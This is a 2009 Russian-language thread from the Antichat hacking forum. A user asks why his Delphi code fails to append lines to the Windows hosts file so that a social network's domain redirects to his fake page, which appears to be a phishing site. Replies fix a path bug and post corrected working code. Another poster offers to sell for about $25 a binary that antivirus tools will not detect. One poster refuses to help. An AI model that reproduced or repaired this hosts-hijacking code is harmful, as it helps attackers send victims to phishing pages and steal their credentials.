Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Редирект [DELPHI] (https://forum.antichat.xyz/showthread.php?t=150745)

qaKEP 24.10.2009 13:49
Редирект [DELPHI]
 
Сдравствуйте уважаемые форумчане.
В делфи надо сделать редирект с контакта на мой фейк, через редактирование файла host.
Код:

procedure TForm1.FormActivate(Sender: TObject);
var f:textfile;
begin

assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'\system32\drivers\etc\hosts');
append(f);
writeln(f,'ip    www.site.ru');
writeln(f,'ip    site.ru');
closefile(f);
end;
Что не правильно? Помогите решить наболевший вопрос!

Chrome~ 24.10.2009 14:33
Код:
assignfile(f,GetSpecialFolderPath(CSIDL_WINDOWS)+'  \system32\drivers\etc\hosts');
Зачем поставил пробелы перед "\system32"?

SeoLapot 24.10.2009 15:44
Я а знаю в чем, проблема но не скажу :) Нефиг людей дурить :)

slesh 24.10.2009 17:29
спокойно пашет код такого вида:
Код:
var
  f : textfile;
  buf : array[0..256] of char;
begin
  GetWindowsDirectory(buf, 256);
  assignfile(f, buf + '\system32\drivers\etc\hosts');
  append(f);
  writeln(f,#13#10'ip www.site.ru'); // #13#10 для того чтобы небыло глюков если небыло перехода строки на предыдущей записи
  writeln(f,'ip site.ru');
  closefile(f);
 end;
а вообще этот метод ооочень паливный. даже самая ленивая проактивка его палит

ErrorNeo 24.10.2009 18:36
неправильнее всего то что вообще не хватает половины необходимого для работы кода.

upd. такой как тебе нужен непалящийся проактивкой бинарник тебе будет стоить долларов 25 - если нада стучи.
Ессна без сурсов.
В твоем же случае не "неправильно". В твоем случае у тебя крыло от машины и ты спрашиваешь почему она не едет.


Время: 16:05